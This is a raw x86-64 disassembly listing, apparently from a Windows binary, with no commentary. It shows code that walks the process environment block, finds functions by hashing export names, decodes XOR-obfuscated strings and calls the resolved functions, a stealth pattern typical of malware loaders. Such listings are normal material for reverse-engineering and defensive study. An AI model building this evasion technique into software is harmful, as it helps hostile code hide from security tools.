je 0x140076c12
nop
movsx eax, al
lea rdx, [rdx + 1]
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx - 1]
test al, al
jne 0x140076bf0
cmp r8d, 0x728202d5
je 0x140076c1c
test r9d, r9d
jne 0x140076bd0
mov rcx, qword [rcx]
jmp 0x140076ba0
mov ecx, dword [rdi + 0x24]
movsd xmm0, qword [str.pV_mRRYQH]
add rcx, r10
mov eax, dword [0x1401385d8]
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov r11d, dword [rcx + rdx*4]
add r11, r10
movsd qword [rbp + 0x50], xmm0
cmp byte [0x1401385db], sil
mov dword [rbp + 0x58], eax
je 0x140076da3
mov r8d, esi
cmp r14d, 2
jl 0x140076d63
movdqa xmm2, xmmword [0x1401395c0]
mov r8d, 8
movdqa xmm4, xmmword [0x1401397f0]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x1401395e0]
movdqa xmm0, xmm2
mov eax, dword [str.6666666666666666]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401395f0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140139680]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.pV_mRRYQH]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rbp + 0x50], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401395f0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140139680]
movd xmm1, dword [rbp + 0x54]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x54], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x50]
add r9, rax
nop dword [rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x36
add cl, r8b
inc r8d
xor byte [r9 - 1], cl
cmp r8d, 0xc
jl 0x140076d70
lea rdx, [rbp + 0x50]
mov rcx, r15
call r11
mov rcx, qword gs:[0x60]
mov qword [rbp - 0x78], rax
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140076e47
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140076e47
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x90c645db
lea rax, [rbx + r9*4]
mov edx, dword [rax + r10]
add rdx, r10
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x140076e42
nop
movsx eax, al
lea rdx, [rdx + 1]
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx - 1]
test al, al
jne 0x140076e20
cmp r8d, 0x822ddef
je 0x140076e4c
test r9d, r9d
jne 0x140076e00
mov rcx, qword [rcx]
jmp 0x140076dd0
mov ecx, dword [rdi + 0x24]
mov r8d, esi
movups xmm0, xmmword [str.qRLxIBRuZ9]
movzx eax, byte [0x140138228]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov r11d, dword [rcx + rdx*4]
add r11, r10
mov byte [rbp + 0x60], al
movups xmmword [rbp + 0x50], xmm0
cmp r14d, 2
jl 0x140076fc7
movdqa xmm0, xmmword [str.6666666666666666]
lea rcx, [rbp + 0x54]
movdqa xmm5, xmmword [0x1401395c0]
movdqa xmm4, xmmword [0x1401397f0]
movdqa xmm6, xmmword [0x1401395f0]
movdqa xmmword [rsp + 0x20], xmm0
mov edx, dword [rsp + 0x20]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140139680]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140139680]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x140076ec0
cmp r8d, 0x11
jge 0x140077004
movsxd rax, r8d
lea r9, [rbp + 0x50]
add r9, rax
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x36
add cl, r8b
inc r8d
xor byte [r9 - 1], cl
cmp r8d, 0x11
jl 0x140076fd1
lea rdx, [rbp + 0x50]
mov rcx, r15
call r11
mov rcx, qword gs:[0x60]
mov qword [rbp - 0x70], rax
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400770a7
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400770a7
mov rcx, qword [rcx]
jmp 0x140077030
movaps xmm6, xmmword [rsp + 0x290]
mov rcx, qword [rbp + 0x180]
xor rcx, rsp
call fcn.140114060
lea r11, [rsp + 0x2a0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret